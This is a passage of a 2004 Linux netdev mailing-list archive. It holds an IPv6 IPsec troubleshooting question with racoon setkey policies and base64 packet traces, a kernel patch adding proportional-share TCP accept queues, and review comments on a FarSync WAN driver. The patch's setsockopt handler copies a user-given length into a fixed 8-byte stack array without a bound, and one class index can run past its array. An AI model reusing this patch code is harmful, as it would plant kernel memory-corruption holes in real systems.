(teapot.felipe-alfaro.com [192.168.0.100]) by kerberos.felipe-alfaro.com (Postfix) with ESMTP id 735F942E97; Wed, 25 Feb 2004 13:58:12 +0100 (CET) Subject: IPSec: can't get IPv6 IPSec working with racoon From: Felipe Alfaro Solana To: NetDev Mailinglist Cc: Kernel Mailinglist Content-Type: multipart/mixed; boundary="=-k1T2kIW4Lr2CAVJ1bOcj" Message-Id: <1077713881.793.25.camel@teapot.felipe-alfaro.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-8) Date: Wed, 25 Feb 2004 13:58:02 +0100 X-archive-position: 3568 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: felipe_alfaro@linuxmail.org Precedence: bulk X-list: netdev --=-k1T2kIW4Lr2CAVJ1bOcj Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi! I have been unable to make IPSecv6 work between two hosts running 2.6.3 kernels and racoon. It works perfectly with IPv4, but with IPv6 there seems to be the following problem: Host A and Host B are configured so any IPv6 and IPv6 packet exchange MUST use ESP/AH: 1. Host A tries to send and ICMPv6 ping echo request to host B, but since there exists a Security Policy that requires the use of ESP/AH, before A can send the ICMPv6 echo request, it must trigger an SA negotiation with host B. To start this SA negotiation, host A needs to know the link-layer address of peer host B: 1.1 Host A sends a Neighbor solicitation message to host B 1.2 Host B tries to send a Neigbor discovery packet, but since there exists a Security Policy that requires the use of ESP/AH, before B can send the Neighbor discovery, it triggers SA negotiation. This seems to create a loop: host A triggers SA negotiation in first place, but needs to know link-layer address of B, thus it sends a Neighbor solicitation packet which makes host B trigger SA association. Thus, both hosts are trying to establish an SA association, creating a deadlock. With IPv4 and IPSec, the simplified packet trace is: A -> B ISAKMP Security Association B -> A ISAKMP Security Association A -> B ISAKMP Key Exchange B -> A ISAKMP Key Exchange A -> B ISAKMP Identification B -> A ISAKMP Identification But, with IPv6 and IPSec, this is the packet trace I'm seeing: A -> B ICMPv6 Neighbor solicitation A -> B ICMPv6 Neighbor solicitation B -> A ISAKMP Security Association (initiator) A -> B ICMPv6 Neighbor solicitation A -> B ICMPv6 Neighbor solicitation ... Let be host A configured with the following IPv6 address: inet addr 192.168.0.100 inet6 addr: fec0::204:75ff:feab:6fcc/64 Scope:Site inet6 addr: 2000::204:75ff:feab:6fcc/64 Scope:Global inet6 addr: fe80::204:75ff:feab:6fcc/64 Scope:Link Let be host B configured with the following IPv6 addresses: inet addr 192.168.0.2 inet6 addr: fec0::2/64 Scope:Site inet6 addr: 2000::204:75ff:fe75:9765/64 Scope:Global inet6 addr: fe80::204:75ff:fe75:9765/64 Scope:Link I'm using the following setkey commands on host A: flush; spdflush; spdadd 192.168.0.100 192.168.0.2 any -P out ipsec esp/transport//require ah/transport//require; spdadd 192.168.0.2 192.168.0.100 any -P in ipsec esp/transport//require ah/transport//require; spdadd fec0::204:75ff:feab:6fcc fec0::2 any -P out ipsec esp/transport//require ah/transport//require; spdadd fec0::2 fec0::204:75ff:feab:6fcc any -P in ipsec esp/transport//require ah/transport//require; The same commands (reversing the order) are applied on host B. I'm running 2.6.3 and racoon on both hosts. IPSec over IPv4 works perfectly, but does not work over IPv6. I trigger the IPSecv6 negotiation by doing a ping6 from host A to host B. Am I right when I think there is a deadlock when negotiating the Security Association between host A and host B? I've attached a trace for IPv4 for a complete IPSec SA establishment, and a trace for IPv6 (which doesn't work). --=-k1T2kIW4Lr2CAVJ1bOcj Content-Disposition: attachment; filename=IPv4 Content-Type: application/octet-stream; name=IPv4 Content-Transfer-Encoding: base64 1MOyoQIABAAAAAAAAAAAAP//AAABAAAAFZU8QCoLCgB6AAAAegAAAAAEdXWXZQAEdatvzAgARQAA bAAAQABAEbjKwKgAZMCoAAIB9AH0AFgRC+yew2wMyTUuAAAAAAAAAAABEAIAAAAAAAAAAFAAAAA0 AAAAAQAAAAEAAAAoAQEAAQAAACABAQAAgAsAAYAMcICAAQAFgAMAA4ACAAGABAACFZU8QKoQCgCO AAAAjgAAAAAEdatvzAAEdXWXZQgARQAAgAAAQABAEbi2wKgAAsCoAGQB9AH0AGy5veyew2wMyTUu IstGcNHpG50BEAIAAAAAAAAAAGQNAAA0AAAAAQAAAAEAAAAoAQEAAQAAACABAQAAgAsAAYAMcICA AQAFgAMAA4ACAAGABAACAAAAFHADy8EJfb6cJgC6aYO8izUVlTxAMa8KAPIAAADyAAAAAAR1dZdl AAR1q2/MCABFAADkAAFAAEARuFHAqABkwKgAAgH0AfQA0DjO7J7DbAzJNS4iy0Zw0ekbnQQQAgAA AAAAAAAAyAoAAITHJseK8UJWRlfY7Z03CBETxh1qs0O45xWFYmwcD/7CRK6KBn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 uORy4Aq5E4cBgwar2AUITkvTd6VpTXJOpfaQ6Ms9FO1eQuoPTpza0EYFTcs95mh7h+/rYA4kDL5Y PcrORFw5oJ3doZRJcwPws/ZJrcdh0zE0yYdZEbhBMcnrCCLmuNFwCYVTU72VtqiqeDBwYm6ajMpH v/YPH/t/pmvoTWDib9KW4GdXtJ1uhkB8YK4cOfAfZtSdqYrKJRaVPEAaKA0AXgAAAF4AAAAABHV1 l2UABHWrb8wIAEUAAFAABUAAQBG44cCoAGTAqAACAfQB9AA8/l/snsNsDMk1LiLLRnDR6RudCBAg ARiJHRYAAAA0PkJPvAxRMpGQc9TTWSmw0nbmTg2Or0UG --=-k1T2kIW4Lr2CAVJ1bOcj Content-Disposition: attachment; filename=IPv6 Content-Type: application/octet-stream; name=IPv6 Content-Transfer-Encoding: base64 1MOyoQIABAAAAAAAAAAAAP//AAABAAAAuJU8QGUEDgBWAAAAVgAAADMz/wAAAQAEdatvzIbdYAAA AAAgOv/+wAAAAAAAAAIEdf/+q2/M/wIAAAAAAAAAAAAB/wAAAYcAsCMAAAAA/sAAAAAAAAAAAAAA AAAAAQEBAAR1q2/MuJU8QGwzDgBWAAAAVgAAADMz/wAAAgAEdatvzIbdYAAAAAAgOv/+wAAAAAAA AAIEdf/+q2/M/wIAAAAAAAAAAAAB/wAAAocAsCEAAAAA/sAAAAAAAAAAAAAAAAAAAgEBAAR1q2/M uJU8QFY4DgCOAAAAjgAAAAAEdatvzAAEdXWXZYbdYAAAAABYEUD+wAAAAAAAAAAAAAAAAAAC/sAA AAAAAAACBHX//qtvzAH0AfQAWAs0qzQixbJmFTEAAAAAAAAAAAEQAgAAAAAAAAAAUAAAADQAAAAB AAAAAQAAACgBAQABAAAAIAEBAACACwABgAxwgIABAAWAAwADgAIAAYAEAAK5lTxAQS8OAFYAAABW AAAAMzP/AAACAAR1q2/Mht1gAAAAACA6//7AAAAAAAAAAgR1//6rb8z/AgAAAAAAAAAAAAH/AAAC hwCwIQAAAAD+wAAAAAAAAAAAAAAAAAACAQEABHWrb8y6lTxA+S4OAFYAAABWAAAAMzP/AAACAAR1 q2/Mht1gAAAAACA6//7AAAAAAAAAAgR1//6rb8z/AgAAAAAAAAAAAAH/AAAChwCwIQAAAAD+wAAA AAAAAAAAAAAAAAACAQEABHWrb8w= --=-k1T2kIW4Lr2CAVJ1bOcj-- From kashyapv@us.ibm.com Wed Feb 25 09:15:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 09:15:26 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PHFCKO031873 for ; Wed, 25 Feb 2004 09:15:18 -0800 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1PHF5F4226356 for ; Wed, 25 Feb 2004 12:15:06 -0500 Received: from DYN319498.beaverton.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1PHF3LD145824 for ; Wed, 25 Feb 2004 10:15:04 -0700 Date: Wed, 25 Feb 2004 08:43:00 -0800 (PST) From: Vivek Kashyap X-X-Sender: kashyapv@loopback.beaverton.ibm.com To: netdev@oss.sgi.com Subject: [PATCH] proportional share accept() Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3569 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kashyapv@us.ibm.com Precedence: bulk X-list: netdev Attached is a patch for an application to selectively provide a faster response and connection rate to favoured clients. The single accept queue in the socket is modified to be multiple queues with a weight assigned to each queue. The accept()ance of connections is scheduled in proportion of the weights assigned to the queues. The incoming connection requests are associated with queues using iptables MARK target rules(using the client's src/dest ip address). The MARK used is the index of the relevant queue. The proportions on the queues can be modified by the application to suit the requirements using a socket option. The results of an example run are on http://ckrm.sourceforge.net. Thanks Vivek ----------------------------------------------------------------------------- diff -urN linux-2.6.3_old/include/linux/sysctl.h linux-2.6.3/include/linux/sysctl.h --- linux-2.6.3_old/include/linux/sysctl.h 2004-02-17 19:58:10.000000000 -0800 +++ linux-2.6.3/include/linux/sysctl.h 2004-02-23 17:49:49.000000000 -0800 @@ -312,6 +312,7 @@ NET_TCP_LOW_LATENCY=93, NET_IPV4_IPFRAG_SECRET_INTERVAL=94, NET_TCP_WESTWOOD=95, + NET_TCP_ACCEPTQ_SHARE=96, }; enum { diff -urN linux-2.6.3_old/include/linux/tcp.h linux-2.6.3/include/linux/tcp.h --- linux-2.6.3_old/include/linux/tcp.h 2004-02-17 19:57:52.000000000 -0800 +++ linux-2.6.3/include/linux/tcp.h 2004-02-24 15:34:35.000000000 -0800 @@ -20,6 +20,8 @@ #include #include +#define NUM_ACCEPT_QUEUES 8 + struct tcphdr { __u16 source; __u16 dest; @@ -127,6 +129,7 @@ #define TCP_WINDOW_CLAMP 10 /* Bound advertised window */ #define TCP_INFO 11 /* Information about this connection. */ #define TCP_QUICKACK 12 /* Block/reenable quick acks */ +#define TCP_ACCEPTQ_SHARE 13 /* Set accept queue share */ #define TCPI_OPT_TIMESTAMPS 1 #define TCPI_OPT_SACK 2 @@ -185,6 +188,13 @@ __u32 tcpi_reordering; }; +struct tcp_acceptq_info { + unsigned char acceptq_shares; + unsigned long acceptq_wait_time; + unsigned int acceptq_count; + unsigned int acceptq_qcount; +}; + #ifdef __KERNEL__ #include @@ -362,7 +372,6 @@ /* FIFO of established children */ struct open_request *accept_queue; - struct open_request *accept_queue_tail; int write_pending; /* A write to socket waits to start. */ @@ -388,6 +397,20 @@ __u32 rtt; __u32 rtt_min; /* minimum observed RTT */ } westwood; + + char acceptq_max_class; + unsigned long acceptq_share_clock; + struct { + struct open_request *aq_head; + struct open_request *aq_tail; + unsigned int aq_weight; + unsigned int aq_finish_ticket; + unsigned int aq_wait_time; + unsigned int aq_count; + unsigned int aq_qcount; + unsigned int aq_backlog; + } acceptq[NUM_ACCEPT_QUEUES]; + }; /* WARNING: don't change the layout of the members in tcp_sock! */ diff -urN linux-2.6.3_old/include/net/tcp.h linux-2.6.3/include/net/tcp.h --- linux-2.6.3_old/include/net/tcp.h 2004-02-17 19:57:16.000000000 -0800 +++ linux-2.6.3/include/net/tcp.h 2004-02-24 15:23:18.000000000 -0800 @@ -580,6 +580,7 @@ extern int sysctl_tcp_frto; extern int sysctl_tcp_low_latency; extern int sysctl_tcp_westwood; +extern int sysctl_tcp_acceptq_share[NUM_ACCEPT_QUEUES]; extern atomic_t tcp_memory_allocated; extern atomic_t tcp_sockets_allocated; @@ -639,6 +640,9 @@ struct tcp_v6_open_req v6_req; #endif } af; + unsigned int acceptq_start_ticket; + unsigned long acceptq_time_stamp; + int acceptq_class; }; /* SLAB cache for open requests. */ @@ -1688,43 +1692,28 @@ return tcp_win_from_space(sk->sk_rcvbuf); } -static inline void tcp_acceptq_removed(struct sock *sk) +static inline void tcp_acceptq_removed(struct sock *sk, int class) { - sk->sk_ack_backlog--; + tcp_sk(sk)->acceptq[class].aq_backlog--; } -static inline void tcp_acceptq_added(struct sock *sk) +static inline void tcp_acceptq_added(struct sock *sk, int class) { - sk->sk_ack_backlog++; + tcp_sk(sk)->acceptq[class].aq_backlog++; } -static inline int tcp_acceptq_is_full(struct sock *sk) +static inline int tcp_acceptq_is_full(struct sock *sk, int class) { - return sk->sk_ack_backlog > sk->sk_max_ack_backlog; + return tcp_sk(sk)->acceptq[class].aq_backlog > + sk->sk_max_ack_backlog; } -static inline void tcp_acceptq_queue(struct sock *sk, struct open_request *req, - struct sock *child) -{ - struct tcp_opt *tp = tcp_sk(sk); - - req->sk = child; - tcp_acceptq_added(sk); - - if (!tp->accept_queue_tail) { - tp->accept_queue = req; - } else { - tp->accept_queue_tail->dl_next = req; - } - tp->accept_queue_tail = req; - req->dl_next = NULL; -} struct tcp_listen_opt { u8 max_qlen_log; /* log_2 of maximal queued SYNs */ int qlen; - int qlen_young; + int qlen_young[NUM_ACCEPT_QUEUES]; int clock_hand; u32 hash_rnd; struct open_request *syn_table[TCP_SYNQ_HSIZE]; @@ -1738,16 +1727,16 @@ if (--lopt->qlen == 0) tcp_delete_keepalive_timer(sk); if (req->retrans == 0) - lopt->qlen_young--; + lopt->qlen_young[req->acceptq_class]--; } -static inline void tcp_synq_added(struct sock *sk) +static inline void tcp_synq_added(struct sock *sk, struct open_request *req) { struct tcp_listen_opt *lopt = tcp_sk(sk)->listen_opt; if (lopt->qlen++ == 0) tcp_reset_keepalive_timer(sk, TCP_TIMEOUT_INIT); - lopt->qlen_young++; + lopt->qlen_young[req->acceptq_class]++; } static inline int tcp_synq_len(struct sock *sk) @@ -1755,9 +1744,9 @@ return tcp_sk(sk)->listen_opt->qlen; } -static inline int tcp_synq_young(struct sock *sk) +static inline int tcp_synq_young(struct sock *sk, int class) { - return tcp_sk(sk)->listen_opt->qlen_young; + return tcp_sk(sk)->listen_opt->qlen_young[class]; } static inline int tcp_synq_is_full(struct sock *sk) @@ -1796,6 +1785,12 @@ req->acked = 0; req->ecn_ok = 0; req->rmt_port = skb->h.th->source; + req->acceptq_start_ticket = 0; + req->acceptq_time_stamp = 0; + if (tp->acceptq_max_class) + req->acceptq_class = (skb->nfmark <= 0) ? 0 : + ((skb->nfmark > NUM_ACCEPT_QUEUES) ? + 0: skb->nfmark); } #define TCP_MEM_QUANTUM ((int)PAGE_SIZE) diff -urN linux-2.6.3_old/net/ipv4/sysctl_net_ipv4.c linux-2.6.3/net/ipv4/sysctl_net_ipv4.c --- linux-2.6.3_old/net/ipv4/sysctl_net_ipv4.c 2004-02-17 19:58:50.000000000 -0800 +++ linux-2.6.3/net/ipv4/sysctl_net_ipv4.c 2004-02-22 07:46:27.000000000 -0800 @@ -592,6 +592,14 @@ .mode = 0644, .proc_handler = &proc_dointvec, }, + { + .ctl_name = NET_TCP_ACCEPTQ_SHARE, + .procname = "tcp_acceptq_share", + .data = &sysctl_tcp_acceptq_share, + .maxlen = sizeof(sysctl_tcp_acceptq_share), + .mode = 0644, + .proc_handler = &proc_dointvec + }, { .ctl_name = 0 } }; diff -urN linux-2.6.3_old/net/ipv4/tcp.c linux-2.6.3/net/ipv4/tcp.c --- linux-2.6.3_old/net/ipv4/tcp.c 2004-02-17 19:57:21.000000000 -0800 +++ linux-2.6.3/net/ipv4/tcp.c 2004-02-25 00:25:52.000000000 -0800 @@ -280,6 +280,12 @@ int sysctl_tcp_wmem[3] = { 4 * 1024, 16 * 1024, 128 * 1024 }; int sysctl_tcp_rmem[3] = { 4 * 1024, 87380, 87380 * 2 }; +/* + * By default all fall in class 0 with all time allocated to the given + * class + */ +int sysctl_tcp_acceptq_share[NUM_ACCEPT_QUEUES] = { 100 }; + atomic_t tcp_memory_allocated; /* Current allocated memory. */ atomic_t tcp_sockets_allocated; /* Current number of TCP sockets. */ @@ -534,13 +540,34 @@ int tcp_listen_start(struct sock *sk) { + int i, j = 0; struct inet_opt *inet = inet_sk(sk); struct tcp_opt *tp = tcp_sk(sk); struct tcp_listen_opt *lopt; sk->sk_max_ack_backlog = 0; sk->sk_ack_backlog = 0; - tp->accept_queue = tp->accept_queue_tail = NULL; + tp->accept_queue = NULL; + tp->acceptq_max_class = 0; + + for (i=0; i < NUM_ACCEPT_QUEUES; i++) { + tp->acceptq[i].aq_tail = NULL; + tp->acceptq[i].aq_head = NULL; + j += sysctl_tcp_acceptq_share[i]; + if (j > 100) /* ignore other values */ + tp->acceptq[i].aq_weight = 0; + else { + if (sysctl_tcp_acceptq_share[i]) { + tp->acceptq[i].aq_weight = + 1000/sysctl_tcp_acceptq_share[i]; + tp->acceptq_max_class = i; + } + } + tp->acceptq[i].aq_wait_time = 0; + tp->acceptq[i].aq_qcount = 0; + tp->acceptq[i].aq_count = 0; + } + tp->syn_wait_lock = RW_LOCK_UNLOCKED; tcp_delack_init(tp); @@ -600,7 +627,7 @@ write_lock_bh(&tp->syn_wait_lock); tp->listen_opt = NULL; write_unlock_bh(&tp->syn_wait_lock); - tp->accept_queue = tp->accept_queue_tail = NULL; + tp->accept_queue = NULL; if (lopt->qlen) { for (i = 0; i < TCP_SYNQ_HSIZE; i++) { @@ -646,7 +673,7 @@ local_bh_enable(); sock_put(child); - tcp_acceptq_removed(sk); + tcp_acceptq_removed(sk, req->acceptq_class); tcp_openreq_fastfree(req); } BUG_TRAP(!sk->sk_ack_backlog); @@ -2221,6 +2248,62 @@ } /* + * This function will queue a new request into the accept queue. + */ +void tcp_acceptq_queue(struct sock *sk, struct open_request *req, + struct sock *child) +{ + struct tcp_opt *tp = tcp_sk(sk); + int class = req->acceptq_class; + int prev_class; + + req->sk = child; + tcp_acceptq_added(sk,class); + + if (!tp->acceptq[class].aq_weight) + class = 0; + + tp->acceptq[class].aq_qcount++; + + if (!tp->acceptq[class].aq_tail) { + if (tp->acceptq[class].aq_finish_ticketacceptq_share_clock) + req->acceptq_start_ticket = tp->acceptq_share_clock; + else + req->acceptq_start_ticket = + tp->acceptq[class].aq_finish_ticket; + tp->acceptq[class].aq_finish_ticket =req->acceptq_start_ticket + + tp->acceptq[class].aq_weight; + + tp->acceptq[class].aq_head = req; + tp->acceptq[class].aq_tail = req; + + prev_class = class - 1; + while (prev_class >= 0) { + if (tp->acceptq[prev_class].aq_tail) + break; + prev_class--; + } + if (prev_class >= 0) { + req->dl_next = + tp->acceptq[prev_class].aq_tail->dl_next; + tp->acceptq[prev_class].aq_tail->dl_next = req; + } else { + req->dl_next = tp->accept_queue; + tp->accept_queue = req; + } + } + else { + req->acceptq_start_ticket = tp->acceptq[class].aq_finish_ticket; + tp->acceptq[class].aq_finish_ticket += + tp->acceptq[class].aq_weight; + req->dl_next = tp->acceptq[class].aq_tail->dl_next; + tp->acceptq[class].aq_tail->dl_next = req; + tp->acceptq[class].aq_tail = req; + } + req->acceptq_time_stamp = jiffies; +} + +/* * This will accept the next outstanding connection. */ @@ -2230,6 +2313,8 @@ struct open_request *req; struct sock *newsk; int error; + int prev_class, i, first, min_class; + unsigned int min_st; lock_sock(sk); @@ -2244,6 +2329,10 @@ if (!tp->accept_queue) { long timeo = sock_rcvtimeo(sk, flags & O_NONBLOCK); + tp->acceptq_share_clock = 0; + for (i=0; i < NUM_ACCEPT_QUEUES; i++) + tp->acceptq[i].aq_finish_ticket = 0; + /* If this is a non blocking socket don't sleep */ error = -EAGAIN; if (!timeo) @@ -2254,12 +2343,44 @@ goto out; } - req = tp->accept_queue; - if ((tp->accept_queue = req->dl_next) == NULL) - tp->accept_queue_tail = NULL; + first = 1; + for( i =0; i <= tp->acceptq_max_class; i++) { + if ((req = tp->acceptq[i].aq_head)) { + if (first) { + min_st = req->acceptq_start_ticket; + min_class = i; + first = 0; + } + else + if (req->acceptq_start_ticket < min_st) { + min_st = req->acceptq_start_ticket; + min_class = i; + } + } + } + + req = tp->acceptq[min_class].aq_head; + tp->acceptq[min_class].aq_count++; + tp->acceptq[min_class].aq_qcount--; + tp->acceptq_share_clock = req->acceptq_start_ticket; + tp->acceptq[min_class].aq_wait_time+=(jiffies- req->acceptq_time_stamp); + + for (prev_class= min_class-1 ; prev_class >=0; prev_class--) + if (tp->acceptq[prev_class].aq_tail) + break; + if (prev_class>=0) + tp->acceptq[prev_class].aq_tail->dl_next = req->dl_next; + else + tp->accept_queue = req->dl_next; + + if (req == tp->acceptq[min_class].aq_tail) + tp->acceptq[min_class].aq_head = + tp->acceptq[min_class].aq_tail = NULL; + else + tp->acceptq[min_class].aq_head = req->dl_next; newsk = req->sk; - tcp_acceptq_removed(sk); + tcp_acceptq_removed(sk, req->acceptq_class); tcp_openreq_fastfree(req); BUG_TRAP(newsk->sk_state != TCP_SYN_RECV); release_sock(sk); @@ -2429,6 +2550,34 @@ } } break; + + case TCP_ACCEPTQ_SHARE: + { + char share_wt[NUM_ACCEPT_QUEUES]; + int i, j = 0; + + if (copy_from_user(share_wt,optval, optlen)) { + err = -EFAULT; + break; + } + for (i=0; i < NUM_ACCEPT_QUEUES; i++) + j += share_wt[i]; + + if (!j || j > 100 ) + err = -EINVAL; + else { + for (i=0; i < NUM_ACCEPT_QUEUES; i++) { + if (share_wt[i]) { + tp->acceptq_max_class = i; + tp->acceptq[i].aq_weight = + 1000/ share_wt[i]; + } + else + tp->acceptq[i].aq_weight = 0; + } + } + } + break; default: err = -ENOPROTOOPT; @@ -2555,6 +2704,34 @@ case TCP_QUICKACK: val = !tp->ack.pingpong; break; + + case TCP_ACCEPTQ_SHARE: { + struct tcp_acceptq_info tinfo[NUM_ACCEPT_QUEUES]; + int i; + + if (get_user(len, optlen)) + return -EFAULT; + bzero(tinfo, sizeof(tinfo)); + for(i=0; i < NUM_ACCEPT_QUEUES; i++) { + tinfo[i].acceptq_wait_time = + tp->acceptq[i].aq_wait_time/(HZ/USER_HZ); + if (tp->acceptq[i].aq_weight) + tinfo[i].acceptq_shares = + 1000/ tp->acceptq[i].aq_weight; + else + tinfo[i].acceptq_shares = 0; + tinfo[i].acceptq_qcount = tp->acceptq[i].aq_qcount; + tinfo[i].acceptq_count = tp->acceptq[i].aq_count; + } + len = min_t(unsigned int, len, sizeof(tinfo)); + if (put_user(len, optlen)) + return -EFAULT; + + if (copy_to_user(optval, (char *)tinfo, len)) + return -EFAULT; + + return 0; + } default: return -ENOPROTOOPT; }; diff -urN linux-2.6.3_old/net/ipv4/tcp_ipv4.c linux-2.6.3/net/ipv4/tcp_ipv4.c --- linux-2.6.3_old/net/ipv4/tcp_ipv4.c 2004-02-17 19:57:22.000000000 -0800 +++ linux-2.6.3/net/ipv4/tcp_ipv4.c 2004-02-23 17:59:38.000000000 -0800 @@ -916,7 +916,7 @@ lopt->syn_table[h] = req; write_unlock(&tp->syn_wait_lock); - tcp_synq_added(sk); + tcp_synq_added(sk, req); } @@ -1413,6 +1413,7 @@ __u32 daddr = skb->nh.iph->daddr; __u32 isn = TCP_SKB_CB(skb)->when; struct dst_entry *dst = NULL; + int class = 0; #ifdef CONFIG_SYN_COOKIES int want_cookie = 0; #else @@ -1437,12 +1438,17 @@ goto drop; } + if (tcp_sk(sk)->acceptq_max_class) + class = (skb->nfmark <= 0) ? 0 : + ((skb->nfmark > NUM_ACCEPT_QUEUES) ? NUM_ACCEPT_QUEUES: + skb->nfmark); + /* Accept backlog is full. If we have already queued enough * of warm entries in syn queue, drop request. It is better than * clogging syn queue with openreqs with exponentially increasing * timeout. */ - if (tcp_acceptq_is_full(sk) && tcp_synq_young(sk) > 1) + if (tcp_acceptq_is_full(sk, class) && tcp_synq_young(sk, class) > 1) goto drop; req = tcp_openreq_alloc(); @@ -1567,7 +1573,7 @@ struct tcp_opt *newtp; struct sock *newsk; - if (tcp_acceptq_is_full(sk)) + if (tcp_acceptq_is_full(sk, req->acceptq_class)) goto exit_overflow; if (!dst && (dst = tcp_v4_route_req(sk, req)) == NULL) diff -urN linux-2.6.3_old/net/ipv4/tcp_minisocks.c linux-2.6.3/net/ipv4/tcp_minisocks.c --- linux-2.6.3_old/net/ipv4/tcp_minisocks.c 2004-02-17 19:58:56.000000000 -0800 +++ linux-2.6.3/net/ipv4/tcp_minisocks.c 2004-02-24 15:38:58.000000000 -0800 @@ -779,7 +779,9 @@ newtp->num_sacks = 0; newtp->urg_data = 0; newtp->listen_opt = NULL; - newtp->accept_queue = newtp->accept_queue_tail = NULL; + newtp->accept_queue = NULL; + memset(newtp->acceptq, 0,sizeof(newtp->acceptq)); + newtp->acceptq_share_clock = newtp->acceptq_max_class = 0; /* Deinitialize syn_wait_lock to trap illegal accesses. */ memset(&newtp->syn_wait_lock, 0, sizeof(newtp->syn_wait_lock)); diff -urN linux-2.6.3_old/net/ipv4/tcp_timer.c linux-2.6.3/net/ipv4/tcp_timer.c --- linux-2.6.3_old/net/ipv4/tcp_timer.c 2004-02-17 19:59:28.000000000 -0800 +++ linux-2.6.3/net/ipv4/tcp_timer.c 2004-02-24 19:50:51.000000000 -0800 @@ -498,7 +498,12 @@ * ones are about to clog our table. */ if (lopt->qlen>>(lopt->max_qlen_log-1)) { - int young = (lopt->qlen_young<<1); + int young = 0; + + for(i=0; i < NUM_ACCEPT_QUEUES; i++) + young += lopt->qlen_young[i]; + + young <<= 1; while (thresh > 2) { if (lopt->qlen < young) @@ -524,9 +529,8 @@ unsigned long timeo; if (req->retrans++ == 0) - lopt->qlen_young--; - timeo = min((TCP_TIMEOUT_INIT << req->retrans), - TCP_RTO_MAX); + lopt->qlen_young[req->acceptq_class]--; + timeo = min((TCP_TIMEOUT_INIT << req->retrans), TCP_RTO_MAX); req->expires = now + timeo; reqp = &req->dl_next; continue; @@ -538,7 +542,7 @@ write_unlock(&tp->syn_wait_lock); lopt->qlen--; if (req->retrans == 0) - lopt->qlen_young--; + lopt->qlen_young[req->acceptq_class]--; tcp_openreq_free(req); continue; } From kevin.curtis@farsite.co.uk Wed Feb 25 09:19:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 09:19:44 -0800 (PST) Received: from relay5.ftech.net (relay5.ftech.net [195.200.0.100]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PHJbKO032278 for ; Wed, 25 Feb 2004 09:19:38 -0800 Received: from opal.ftech.net ([212.32.16.127] helo=mailgate.ftech.net) by relay5.ftech.net with esmtp (Exim 3.36-ftechp12 #2) id 1Aw2h5-0006Xx-00; Wed, 25 Feb 2004 17:19:35 +0000 Received: from pc1.faradsl.ftech.co.uk ([212.32.46.162] helo=GENERAL.hq.farsitecommunications.com) by mailgate.ftech.net with esmtp (Exim 3.36-ftechp12 #1) id 1Aw2h5-0007pU-00; Wed, 25 Feb 2004 17:19:35 +0000 Subject: RE: Update FarSync WAN driver in 2.6 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 25 Feb 2004 17:19:34 -0000 Message-ID: <7C078C66B7752B438B88E11E5E20E72E25CC09@general.hq.farsitecommunications.com> X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Content-Class: urn:content-classes:message X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Update FarSync WAN driver in 2.6 Thread-Index: AcPrZGkB6GscodfWScegphdP5rRyJwF62VzQAWHPYEABOxpOEA== From: "Kevin Curtis" To: "Kevin Curtis" , "Jeff Garzik" Cc: , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1PHJbKO032278 X-archive-position: 3570 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kevin.curtis@farsite.co.uk Precedence: bulk X-list: netdev Hi, any progress on the updating of the farsync driver in the 2.4 and 2.5 Kernels? Regards Kevin Curtis Linux Development FarSite Communications Ltd http://www.farsite.co.uk tel: +44 1256 330461 fax: +44 1256 854931 -----Original Message----- From: Kevin Curtis Sent: 19 February 2004 11:03 To: Kevin Curtis; 'Jeff Garzik' Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: Update FarSync WAN driver in 2.6 Hi, Please find attached a patch file for the farsync drivers in 2.6 Kernel. The patch was generated against 2.6.3, i.e. the latest release. I have used tasklets instead of schedule_work and this seems to have solved the performance problem I referred to last week. I now wish to use tasklets in the 2.4 Kernel. Would you like me to resend the patch again (updated), or a new patch to patch the patch you already have? Kind Regards Kevin Curtis Linux Development FarSite Communications Ltd http://www.farsite.co.uk tel: +44 1256 330461 fax: +44 1256 854931 -----Original Message----- From: Kevin Curtis Sent: 12 February 2004 10:12 To: 'Jeff Garzik'; Kevin Curtis Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: RE: Update FarSync WAN driver in 2.4.25 Hi, Please find attached a revised patch file which I believe addresses the comments that you and Francois Romieu made. I have changed the bottom half to use schedule_task, although I can see a marked degradation in performance. Can you tell me if it is possible to still queue my tasks on the Immediate queue, so that they run as soon as the interrupt is complete. It seems to me that the task_queue and tasklets are not as efficient. Kind regards Kevin -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: 04 February 2004 21:18 To: Kevin Curtis Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: Re: Update FarSync WAN driver in 2.4.25 Comments: * please use standard indentation (one tab) * please use constants per the include/linux/pci_ids.h standard, rather than defining your own. * please use standard include/linux/pci.h constants, rather than defining your own (PCIILR, etc.) * further, obtain interrupt from struct pci_dev::irq after calling pci_enable_device(); do not obtain directly via pci_read_config_xxx() * fst_process_rx_status() could result in flooding the log * use pci_set_master() to enable bus-mastering * bottom halves are deprecated. do not add new code using mark_bh() and friends. Use tasklets or schedule_task(). * use pci_set_dma_mask() rather than pci_dma_supported() * use pci_request_regions() rather than request_region() From shemminger@osdl.org Wed Feb 25 09:21:23 2004 Received: with ECARTIS 